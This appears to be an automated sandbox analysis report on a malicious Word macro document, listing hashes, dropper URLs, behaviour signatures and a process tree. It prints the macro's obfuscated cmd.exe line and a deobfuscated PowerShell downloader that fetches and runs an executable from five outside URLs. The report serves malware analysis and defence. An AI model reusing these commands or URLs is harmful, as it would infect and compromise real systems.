Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 10:10

General

  • Target

    719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc

  • Size

    71KB

  • MD5

    719b744a0de134515f7020f4f02fd9ac

  • SHA1

    a97a77f1b61c2640575b3c75d78985dc1d606695

  • SHA256

    1316c887d94e24f942b882ecbe7314ef4746e2800122b27bb0086e8aacbb8b00

  • SHA512

    30791787272c6582d02d0f512ec96d5d36ec51398b2e032c76e730e937977cff9e8e21788efffd834f48d72eb9ae78a291ca8260bf3aadf2ca8bf52bff4fcd35

  • SSDEEP

    768:upJcaUitGAlmrJpmxlzC+w99NBE+1o/9XXMmBktlFAO2vxwpF:uptJlmrJpmxlRw99NBE+a/VknF

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://mooremakeup.com/k

exe.dropper

http://crossroadstamp.com/0

exe.dropper

http://ntsuporte.com.br/kl5

exe.dropper

http://oooka.biz/RaQOFhRM

exe.dropper

http://parusalon.ru/idb

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2064
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:^O/C"^s^e^t ^jU^8n=^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hc^t^ac^};^ka^erb^;FvK$^ ^m^e^t^I-^e^k^ovnI^;)^Fv^K$^ ,Jl^I$(eli^Fda^o^lnwo^D.^S^zv^${yr^t{)z^Bi$ n^i^ ^Jl^I$(hc^aer^o^f;^'^ex^e.'^+Q^Q^i$+^'^\'+c^i^lbu^p:vn^e^$^=Fv^K$^;'^68^7^' = ^QQ^i$;)'@'(tilp^S^.'^bd^i/^ur.n^ola^s^ura^p//^:^ptt^h@MRh^FO^QaR/^zi^b^.^a^ko^oo//:^ptt^h@5^l^k/rb.^m^oc.e^tro^p^u^stn//:p^tth^@0/m^oc^.^pma^t^sd^aors^sorc//^:^ptt^h@^k/^m^oc^.pue^kam^er^o^om//:ptth'^=zB^i^$^;tnei^lCbe^W^.t^eN^ ^tc^ejbo^-w^en=S^zv^$ ^l^l^e^h^sre^wop&&^f^or /^L %^x ^in (^3^40,^-^1^,^0)^d^o s^e^t ^8^h=!^8^h!!^jU^8n:~%^x,1!&&^i^f %^x ^eq^u ^0 ca^l^l %^8^h:^~^4%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:804
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $vzS=new-object Net.WebClient;$iBz='http://mooremakeup.com/k@http://crossroadstamp.com/0@http://ntsuporte.com.br/kl5@http://oooka.biz/RaQOFhRM@http://parusalon.ru/idb'.Split('@');$iQQ = '786';$KvF=$env:public+'\'+$iQQ+'.exe';foreach($IlJ in $iBz){try{$vzS.DownloadFile($IlJ, $KvF);Invoke-Item $KvF;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3000

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      604785e3b02aec453a571a5c8f9d4f13

      SHA1

      2f0f6933bd05bdbcd262737e8f812904c4aec0a6

      SHA256

      774754c4e7f9d418adec54f73b994859d522a3a51ddf41a96e6271fdcb904385

      SHA512

      34ca9355e2da21be8b3814b124736091003c3d82a3edfebd36487b4110c7b2d91bdb8fbde86de85370d9400cc71ea4bcf3c310b7e6eb39140276845093c4368a

    • memory/1724-33-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1724-6-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-7-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-12-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-27-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-24-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-11-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-57-0x000000007150D000-0x0000000071518000-memory.dmp

      Filesize

      44KB

    • memory/1724-2-0x000000007150D000-0x0000000071518000-memory.dmp

      Filesize

      44KB

    • memory/1724-22-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-9-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-32-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-10-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-8-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-40-0x000000007150D000-0x0000000071518000-memory.dmp

      Filesize

      44KB

    • memory/1724-41-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/1724-0-0x000000002F591000-0x000000002F592000-memory.dmp

      Filesize

      4KB

    • memory/1724-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1724-18-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB